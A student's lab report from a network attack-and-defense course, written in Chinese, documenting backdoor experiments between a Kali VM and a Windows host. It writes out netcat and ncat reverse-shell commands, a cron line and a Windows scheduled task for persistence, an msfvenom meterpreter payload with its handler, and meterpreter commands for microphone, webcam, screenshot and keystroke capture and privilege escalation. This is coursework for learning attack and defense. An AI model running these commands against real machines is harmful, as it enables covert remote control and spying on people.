20155326刘美岑 《网络对抗》Exp2 后门原理与实践

实验内容

(1)使用netcat获取主机操作Shell,cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

实验过程

一、使用netcat获取主机操作Shell,cron启动:

  • Windows获取linux的shell:

首先,在Windows下查看主机的ip地址

然后在Windows下输入 ncat.exe -l -p 4303 打开监听

接着,输入 nc 192.168.87.1 5326 -e /bin/sh 在linux下反弹式连接到Windows

此时可以看到,Windows获得了linux的shell:

  • linux获得Windows的shell:

首先,我们查看linux的ip地址

然后输入 nc -l -p 5326 打开监听端口

接着,输入ncat.exe -e cmd.exe 192.168.139.128 5326 让Windows连接到linux上

此时可以看到,linux获得了Windows主机的shell。

  • cron启动:Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。这里我们编辑cron指令,使每个小时的第52分钟执行后面的那条指令。

同样,我们启动Windows打开监听端口。

接着,在Kali环境下用指令crontab -e 对定时任务进行编辑。将最后一行修改为:52 * * * * /bin/netcat 192.168.87.1 5326 -e /bin/sh ,意思是在每个小时的第52分钟反向连接Windows主机的5236端口,就会启动cron。

等到每个小时的52分时,linux会自动打开后门,获取linux的shell,这里如果在52分之前输入指令,屏幕上不会有显示,但是等到了52分时就会显示出来。

二、使用socat获取主机操作Shell, 任务计划启动

socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

首先,我们新建一个触发器,开始任务选择工作站锁定时。

接着下载安装socat软件,然后新建操作,在程序或脚本中选择你的socat.exe文件的路径,再在添加参数一栏填写tcp-listen:5236 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5236,同时把cmd.exe的stderr重定向到stdout上:

之后,按Win+L锁定计算机用户,使新建的操作触发创建完成之后,再次打开电脑时,可以发现之前创建的任务已经开始运行

此时,在linux端下使用命令 socat - tcp:192.168.87.1:5326 连接到Windows主机,获取Windows的shell 。此时,在Kali环境下输入指令socat - tcp:192.168.87.1:5326,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5326端口,此时可以发现已经成功获得了一个cmd shell

三、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

首先,输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.128 LPORT=5326 -f exe > 20155326.exe生成后门程序:

通过nc指令将生成的后门程序传送到Windows主机上:(在做这一步之前先将本机的杀毒软件和防火墙关闭)

在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

MSF进行监听进程过程:

msfconsole:进入msf
use exploit/multi/handler:进入handler模式
set payload windows/meterpreter/reverse_tcp:设置payload
show options:查看当前信息状态
set LHOST 192.168.139.128:设置LHOST
set LPORT 5326:设置LPORT
exploit:MSF开始监听

设置完成后,执行监听:

打开Windows上的后门程序:

错误1 后门程序有问题,直接复制过去了。

此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

四、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic指令可以截获一段音频:

使用webcam_snap指令可以使用摄像头进行拍照:

使用webcam stream指令可以使用摄像头进行录像

使用screenshot指令可以进行截屏:

使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权未成功

思考题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:下载软件时,后门捆绑在软件上,从而进入了系统。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:对于Win来说可能是用户自己运行了后门软件、设置了任务计划启动;而对于linux则可能是设置了cron启动,在到达规定的时间时启动后门。

(3)Meterpreter有哪些给你映像深刻的功能?

答:我觉得使用靶机的摄像头进行拍照和录像很可怕,如果我们的电脑遭受这样的攻击感觉会很危险。对于网络攻防这门课应该好好学习。

(4)如何发现自己有系统有没有被安装后门?

答:通过杀毒软件杀毒,或者查看进程列表,注册表。

实验总结与体会

通过这次实验,我掌握了后门的一些原理和攻击技术内容,例如Windows如何获取目标主机的shell,linux如何获取目标主机的shell,如何打开cron启动,如何打开任务计划启动,并且还掌握了生成后门文件的方法和一些常见的meterpreter命令,并使用一些基本的命令攻击靶机。